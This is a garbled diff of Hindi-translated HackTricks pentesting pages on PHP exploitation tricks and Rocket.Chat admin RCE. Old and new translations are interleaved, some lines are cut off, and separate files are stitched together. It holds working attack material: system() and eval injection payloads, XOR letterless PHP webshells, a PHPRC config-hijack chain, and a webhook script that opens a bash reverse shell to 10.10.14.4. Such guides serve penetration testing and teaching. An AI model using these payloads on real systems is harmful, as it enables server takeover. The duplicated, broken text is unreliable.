ठीक है, रीजेक्स शब्दों में, हम वास्तव में 100k "पुनरावृत्तियाँ" नहीं कर रहे हैं, बल्कि हम "पीछे हटने के कदम" गिन रहे हैं, जैसा कि [PHP दस्तावेज़ीकरण](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) यह बताता है कि यह डिफ़ॉल्ट रूप से 1,000,000 (1M) है `pcre.backtrack_limit` चर में।\
इसे पहुंचने के लिए, `'X'*500_001` 1 मिलियन पीछे हटने के कदम देगा (500k आगे और 500k पीछे):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### PHP ऑब्फस्केशन के लिए टाइप जग्लिंग
### PHP obfuscation के लिए टाइप जग्लिंग
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -152,17 +153,25 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## पथ ट्रावर्सल और फ़ाइल समावेश शोषण
जांच करें:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
{% endcontent-ref %}
## और ट्रिक्स
* **register\_globals**: **PHP < 4.1.1.1** में या अगर गलत रूप से कॉन्फ़िगर किया गया है, तो **register\_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा हो सकता है)। इसका अर्थ है कि ग्लोबल वेरिएबल्स में जैसे $\_GET के लिए यदि एक मान है तो आप इसे **$param** के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन वेरिएबल्स को ओवरराइट कर सकते हैं जो कोड के भीतर उपयोग किए जाते हैं।
* **एक ही डोमेन की PHPSESSION कुकीज एक ही स्थान में स्टोर की जाती हैं**, इसलिए यदि एक डोमेन के भीतर **विभिन्न पथों में विभिन्न कुकीज का उपयोग किया जाता है** तो आप एक पथ को उस पथ की कुकी तक पहुंचा सकते हैं जिसने दूसरे पथ की कुकी के मान को सेट किया है। इस तरह अगर **दोनों पथ एक ही नाम के वेरिएबल्स तक पहुंचते हैं** तो आप **पथ1 में उस वेरिएबल के मान को पथ2 में लागू कर सकते हैं**। और फिर पथ2 पथ1 के वेरिएबल्स को मान्य मानेगा (कुकी को उस नाम का नाम देकर जो पथ2 में उसके लिए संबंधित है)।
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। तो पता लगाएं: **/\~\<USERNAME>** कि क्या php निर्देशिकाएँ सक्रिय हैं।
* [**LFI और php wrappers का उपयोग करके RCE**](../../../pentesting-web/file-inclusion/)
* **register\_globals**: **PHP < 4.1.1.1** में या अगर गलत रूप से कॉन्फ़िगर किया गया है, तो **register\_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका अर्थ है कि ग्लोबल वेरिएबल्स में जैसे $\_GET जैसे यदि एक मान है उदाहरण के लिए $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन वेरिएबल्स को ओवरराइट कर सकते हैं** जो कोड के भीतर उपयोग किए जाते हैं।
* **एक ही डोमेन के PHPSESSION कुकीज एक ही स्थान पर संग्रहित होती हैं**, इसलिए यदि एक डोमेन के भीतर **विभिन्न पथों में विभिन्न कुकीज का उपयोग किया जाता है** तो आप उसे एक पथ **कुकी का उपयोग करने के लिए सेट कर सकते हैं** दूसरे पथ की मान को। इस तरह अगर **दोनों पथ एक ही नाम के वेरिएबल का उपयोग करते हैं** तो आप **पथ1 में उस वेरिएबल की मान लागू कर सकते हैं पथ2 पर**। और फिर पथ2 पथ1 के वेरिएबल्स को मान्य मानेगा (कुकी को उस नाम का नाम देकर जो पथ2 में उसके लिए संबंधित है)।
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। पता करें: **/\~\<USERNAME>** कि क्या php निर्देशिकाएँ सक्रिय हैं।
* [**php wrappers का उपयोग करके LFI और RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
यह फ़ंक्शन आम तौर पर PHP में **पासवर्ड से हैश जनरेट करने** और **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड सही है या नहीं जिसे हैश के साथ तुलना की जाती है।\
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (शुरू होता है `$2y$`)। ध्यान दें कि **PASSWORD\_DEFAULT अक्सर PASSWORD\_BCRYPT के समान होता है** और वर्तमान में, **PASSWORD\_BCRYPT** में **72 बाइट की इनपुट की सीमा सीमित है**। इसलिए, जब आप इस एल्गोरिदम के साथ 72 बाइट से अधिक कुछ हैश करने का प्रयास करते हैं तो केवल पहले 72B ही उपयोग किया जाएगा:
यह फ़ंक्शन आम तौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और **यह जांचने** के लिए उपयोग किया जाता है कि क्या एक पासवर्ड सही है या नहीं एक हैश के साथ तुलना की जाती है।\
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (शुरू होता है `$2y$`)। ध्यान दें कि **PASSWORD\_DEFAULT अक्सर PASSWORD\_BCRYPT के समान होता है** और वर्तमान में, **PASSWORD\_BCRYPT** में **72 बाइट की इनपुट में आकार सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72 बाइट से अधिक कुछ हैश करने का प्रयास करते हैं तो केवल पहले 72B का ही उपयोग किया जाएगा:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -172,10 +181,10 @@ True
```
### HTTP headers बायपास करना PHP त्रुटियों का दुरुपयोग करके
यदि एक **PHP पेज त्रुटियाँ प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान किए गए कुछ इनपुट को ईको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **सामग्री इतनी लंबी** बना सकता है ताकि जब यह **प्रतिक्रिया में हेडर जोड़ने का प्रयास करे** तो सर्वर त्रुटि फेंकेगा।\
निम्नलिखित परिदृश्य में **हमलावार ने सर्वर को कुछ बड़ी त्रुटियाँ फेंकने के लिए बनाया**, और जैसा कि आप स्क्रीन में देख सकते हैं कि जब php ने **हेडर जानकारी को संशोधित करने का प्रयास किया, यह नहीं कर सका** (इसलिए उदाहरण के लिए सीएसपी हेडर उपयोगकर्ता को नहीं भेजा गया था):
यदि एक **PHP पेज त्रुटियाँ प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान किए गए कुछ इनपुट को ईको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **सामग्री इतनी लंबी** प्रिंट करने के लिए कर सकता है ताकि जब यह **प्रतिक्रिया में हेडर्स जोड़ने का प्रयास करेगा** तो सर्वर त्रुटि फेंकेगा।\
निम्नलिखित परिदृश्य में **हमलावार ने सर्वर को कुछ बड़ी त्रुटियाँ फेंकने के लिए किया**, और जैसा कि आप स्क्रीन में देख सकते हैं कि जब php ने **हेडर जानकारी को संशोधित करने का प्रयास किया, यह नहीं कर सका** (इसलिए उदाहरण के लिए सीएसपी हेडर उपयोगकर्ता को नहीं भेजा गया था):
![](<../../../.gitbook/assets/image (465).png>)
![](<../../../.gitbook/assets/image (1082).png>)
## कोड निष्पादन
@ -190,8 +199,8 @@ True
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
म से कम एक मैच की आवश्यकता है "रिप्लेस" तर्क में कोड को निष्पादित करने के लिए
यह preg\_replace का विकल्प **PHP 5.5.0 के रूप में विचाराधीन है।**
ोड को निष्पादित करने के लिए "बदलें" तर्क कम से कम एक मिलान की आवश्यकता है
यह preg\_replace का विकल्प **PHP 5.5.0 के रूप में विचारात्मक हो गया है।**
### **Eval() के माध्यम से RCE**
```
@ -208,15 +217,15 @@ preg_replace("/a/e","phpinfo()","whatever")
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
आपको कोड की सिंटैक्स को तोड़ने, अपने पेलोड को जोड़ने, और फिर से ठीक करने की आवश्यकता होगी। आप यहाँ तक कि "and" या "%26%26" या "|" जैसे तार्किक परिचयों का उपयोग कर सकते हैं। "or", "||" काम नहीं करेगा क्योंकि अगर पहला स्थिति सत्य है तो हमारा पेलोड नहीं चलेगा। उसी तरह ";" काम नहीं करेगा क्योंकि हमारा पेलोड नहीं चलेगा।
आपको कोड की सिंटेक्स को **टूटना** होगा, अपने **पेलोड** को **जोड़ना** होगा, और फिर से **ठीक करना** होगा। आप **तार्किक ऑपरेशन** जैसे कि "**और" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "या", "||" काम नहीं करेगा क्योंकि अगर पहला स्थिति सत्य है तो हमारा पेलोड नहीं चलेगा। उसी तरह ";" काम नहीं करेगा क्योंकि हमारा पेलोड नहीं चलेगा।
**अन्य विकल्प** है कमांड के निष्पादन को स्ट्रिंग में जोड़ना: `'.highlight_file('.passwd').'`
**दूसरा विकल्प** है कि स्ट्रिंग में कमांड के निष्पादन को जोड़ें: `'.highlight_file('.passwd').'`
**अन्य विकल्प** (यदि आपके पास आंतरिक कोड है) कुछ चर को संशोधित करने के लिए कुछ चर को संशोधित करना है: `$file = "hola"`
**दूसरा विकल्प** (अगर आपके पास आंतरिक कोड है) यह है कि कुछ चर को संशोधित करें ताकि निष्पादन में परिवर्तन हो: `$file = "hola"`
### **usort() के माध्यम से RCE**
### **RCE के माध्यम से usort()**
इस फ़ंक्शन का उपयोग एक विशिष्ट फ़ंक्शन का उपयोग करके आइटम के एक अर्रे को क्रमबद्ध करने के लिए किया जाता है।\
यह फ़ंक्शन एक विशिष्ट फ़ंक्शन का उपयोग करके आइटम के एक अर्रे को क्रमबद्ध करने के लिए उपयोग किया जाता है।\
इस फ़ंक्शन का दुरुपयोग करने के लिए:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -237,21 +246,29 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
### **RCE के माध्यम से .httaccess**
आप **//** का उपयोग करके कोड के बाकी हिस्से की टिप्पणी कर सकते हैं।
यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और कोड भी चला सकते हैं (फ़ाइलों को **एक्सीक्यूट** करने की अनुमति देना).
बंद करने के लिए आपको जितने भी ब्रैकेट बंद करने हैं, उनकी संख्या पता करने के लिए:
* `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). हम संभावित रूप से एक या एक से अधिक ब्रैकेट छूट रहे हैं।
* `?order=id);}//`: हमें एक **चेतावनी** मिलती है। वह सही लगता है।
* `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). हम संभावित रूप से बहुत सारे बंद करने वाले ब्रैकेट हैं।
### **.httaccess** के माध्यम से RCE
यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें कॉन्फ़िगर कर सकते हैं और कोड भी चला सकते हैं (फ़ाइलों को ऐसे कॉन्फ़िगर करना जो .htaccess एक्सीक्यूट किया जा सकता है).
विभिन्न .htaccess शैल्स यहाँ पाए जा सकते हैं [यहाँ](https://github.com/wireghoul/htshells)
### RCE के माध्यम से Env Variables
### Env Variables के माध्यम से RCE
यदि आपको एक ऐसी कमजोरी मिलती है जो आपको **PHP में env variables को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक अनुसंधान के साथ यह छल सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं.
यदि आपको **PHP में env variables को संशोधित करने की अनुमति देने वाली एक दुरुपयोगिता मिलती है** (और एक और फ़ाइल अपलोड करने की अनुमति है, हालांकि अधिक अनुसंधान के साथ शायद इसे बाईपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): यह env variable अन्य बाइनरी को निष्पादित करते समय विचारात्मक पुस्तकालयों को लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता).
* **`PHPRC`** : PHP को इसकी कॉन्फ़िगरेशन फ़ाइल को ढूंढने के लिए निर्देशित करता है, जिसे आम तौर पर `php.ini` कहा जाता है. यदि आप अपनी खुद की कॉन्फ़िग फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करें. एक **`auto_prepend_file`** प्रविष्टि जो दूसरी अपलोड की गई फ़ाइल को निष्पादित करने के लिए PHP पूर्वसंस्करण को निर्देशित करती है। यह दूसरी फ़ाइल सामान्य **PHP कोड शामिल करती है, जिसे फिर PHP रनटाइम द्वारा किसी भी अन्य कोड से पहले निष्पादित किया जाता है।
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): यह env variable अन्य बाइनरी को निष्पादित करते समय विचारात्मक पुस्तकालयों को लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता है)।
* **`PHPRC`** : PHP को इसकी कॉन्फ़िगरेशन फ़ाइल को ढूंढने के लिए निर्देशित करता है, जिसे सामान्यत: `php.ini` कहा जाता है। यदि आप अपनी खुद की कॉन्फ़िग फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को इस पर इशारा करें। एक **`auto_prepend_file`** प्रविष्टि जो दूसरी अपलोड की गई फ़ाइल को निष्पादित करने के लिए PHP पूर्वसंस्करण को निर्देशित करती है।
1. अपने शैलकोड से भरी एक PHP फ़ाइल अपलोड करें
2. एक दूसरी फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देशित करें जो PHP पूर्वसंस्करण को निर्देशित करती है कि हमने चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करने के लिए
3. `PHPRC` चरण 2 में हमने अपलोड की गई फ़ाइल को सेट करें
2. एक दूसरी फ़ाइल अपलोड करें, जिसमें PHP पूर्वसंस्करण को निर्देशित करने वाली **`auto_prepend_file`** निर्देशिका हो
3. `PHPRC` चर को उस फ़ाइल पर सेट करें जिसे हमने चरण 2 में अपलोड किया है
* इस श्रृंखला को कैसे निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - एक और विकल्प
* यदि आप **फ़ाइलें अपलोड नहीं कर सकते हैं**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` को भेजे गए अनुरोध का **बॉडी** होता है:
@ -262,27 +279,27 @@ usort();}phpinfo;#, "cmp");
## PHP स्थिर विश्लेषण
देखें कि आप इन फ़ंक्शनों को कॉल करने में कोड डाल सकते हैं (यहाँ से [यहाँ](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
देखें कि आप इन फ़ंक्शन के कॉल में कोड डाल सकते हैं (यहाँ से [यहाँ](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
यदि आप एक PHP एप्लिकेशन को डीबग कर रहे हैं तो आप `/etc/php5/apache2/php.ini` में `display_errors = On` जोड़कर त्रुटियों को ग्लोबली सक्षम कर सकते हैं और अपाचे को पुनः आरंभ कर सकत हैं: `sudo systemctl restart apache2`
यदि आप एक PHP एप्लिकेशन को डीबग कर रहे हैं तो आप `/etc/php5/apache2/php.ini` में `display_errors = On` जोड़कर एरर प्रिंटिंग को ग्लोबली सक्षम कर सकते हैं और अपाचे को पुनः आरंभ करें: `sudo systemctl restart apache2`
### PHP कोड को डीबफस्केट करना
### PHP कोड को डीबफस्केट करना
आप **web**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग करके PHP कोड को डीबफस्केट कर सकते हैं।**
आप **वेब**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग करके PHP कोड को डीबफस्केट कर सकते हैं।**
## PHP Wrappers & Protocols
## PHP रैपर्स और प्रोटोकॉल
PHP Wrappers और protocols आपको सिस्टम में **लेखन और पढ़ने की सुरक्षा** को छलकरने और इसे कमजोर करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पृष्ठ की जाँच करें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
PHP रैपर्स और प्रोटोकॉल आपको सिस्टम में **लेखन और पठन सुरक्षा** को छलकर उसे कमर्म करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पेज की जाँच करें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug unauthenticated RCE
## Xdebug अनअथेंटिकेटेड RCE
यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है, तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
## चरवर्ती चरित्रे
## चरवर्ती चर्वर्ती
```php
$x = 'Da';
$$x = 'Drums';
@ -294,15 +311,15 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE नए $\_GET\["a"]\($\_GET\["b"]) का दुरुपयोग करना
## RCE नए $\_GET\["a"]\($\_GET\["b"]) का दुरुपयोग
यदि किसी पृष्ठ में **किसी भी वर्ग क नया ऑब्जेक्ट बना सकते हैं** तो आप RCE प्राप्त कर सकते हैं, निम्नलिखित पृष्ठ की जाँच करें और जानें कैसे:
यदि किसी पृष्ठ में **किसी भी वर्ग के एक नया ऑब्जेक्ट बना सकते हैं** तो आप RCE प्राप्त कर सकते हैं, निम्नलिखित पृष्ठ की जाँच करें और जानें कैसे:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
## अक्षरों के बिना PHP चलाए
## अक्षरों के बिना PHP को निष्पादित करे
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
@ -319,21 +336,21 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR आसान शैल कोड
[**इस लेख**](https://mgp25.com/ctf/Web-challenge/) के अनुसार निम्नलिखित एक आसान शैलकोड उत्पन्न किया जा सकता है:
[**इस व्रिटअप के अनुसार**](https://mgp25.com/ctf/Web-challenge/) निम्नलिखित तरीके से एक आसान शैलकोड उत्पन्न किया जा सकता है:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
इसलिए, अगर आप **संख्याओं और अक्षरों के बिना अर्बिट्रेरी PHP को निष्पादित कर सकते हैं** तो आप निम्नलिखित तरह का अनुरोध भेज सकते हैं जिसमें वह पेलोड का दुरुपयोग करके अर्बिट्रेरी PHP को निष्पादित कर सकते हैं:
इसलिए, अगर आप **संख्याओं और अक्षरों के बिना विचारशील PHP को क्रियान्वित कर सकते हैं** तो आप निम्नलिखित तरह का अनुरोध भेज सकते हैं जिसमें उस पेलोड का दुरुपयोग करके विचारशील PHP को क्रियान्वित किया जा सकता है:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
अधिक विस्तृत व्याख्या के लिए देखें [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
और विस्तृत व्याख्या के लिए देखें [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
### XOR शेलकोड (इन्साइड ईवैल)
```bash
@ -393,6 +410,10 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -402,7 +423,7 @@ $___($_[_]); // ASSERT($_POST[_]);
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -2,18 +2,23 @@
<details>
<summary><strong>ीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>ानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में
* [**आधिकारिक PEASS और HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## RCE
अगर आप Rocket Chat के अंदर एडमिन हैं तो आप RCE प्राप्त कर सकते हैं।
@ -21,9 +26,9 @@ HackTricks का समर्थन करने के अन्य तरी
* **`Integrations`** पर जाएं और **`New Integration`** चुनें और कोई भी चुनें: **`Incoming WebHook`** या **`Outgoing WebHook`**।
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
* [दस्तावेज़](https://docs.rocket.chat/guides/administration/admin-panel/integrations) के अनुसार, दोनों ES2015 / ECMAScript 6 ([मूल रूप से जावास्क्रिप्ट](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) का उपयोग डेटा प्रसंस्करण के लिए करते हैं। इसलिए हमें [जावास्क्रिप्ट के लिए रेव शैल जैसा](../../generic-methodologies-and-resources/shells/linux.md#nodejs) प्राप्त करना है:
* [दस्तावेज़](https://docs.rocket.chat/guides/administration/admin-panel/integrations) के अनुसार, दोनों ES2015 / ECMAScript 6 का उपयोग करते हैं ([मूल रूप से JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) डेटा प्रोसेस करने के लिए। इसलिए हमें [जावास्क्रिप्ट के लिए रेव शैल](../../generic-methodologies-and-resources/shells/linux.md#nodejs) प्राप्त करना है:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
@ -31,15 +36,34 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* वेबहुक कॉन्फ़िगर करें (चैनल और पोस्ट के रूप में उपयोगकर्ता नाम मौजूद होना चाहिए):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
* वेबहुक स्क्रिप्ट कॉन्फ़िगर करें:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (569).png" alt=""><figcaption></figcaption></figure>
* परिवर्तन सहेजें
* उत्पन्न वेबहुक URL प्राप्त करें:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
* curl के साथ इसे कॉल करें और आपको रिवर्स शैल प्राप्त होना चाहिए
* इसे curl के साथ कॉल करें और आपको रिवर्स शेल प्राप्त होना चाहिए
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **डिस्कॉर्ड समूह**💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>

View file

@ -4,37 +4,45 @@
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
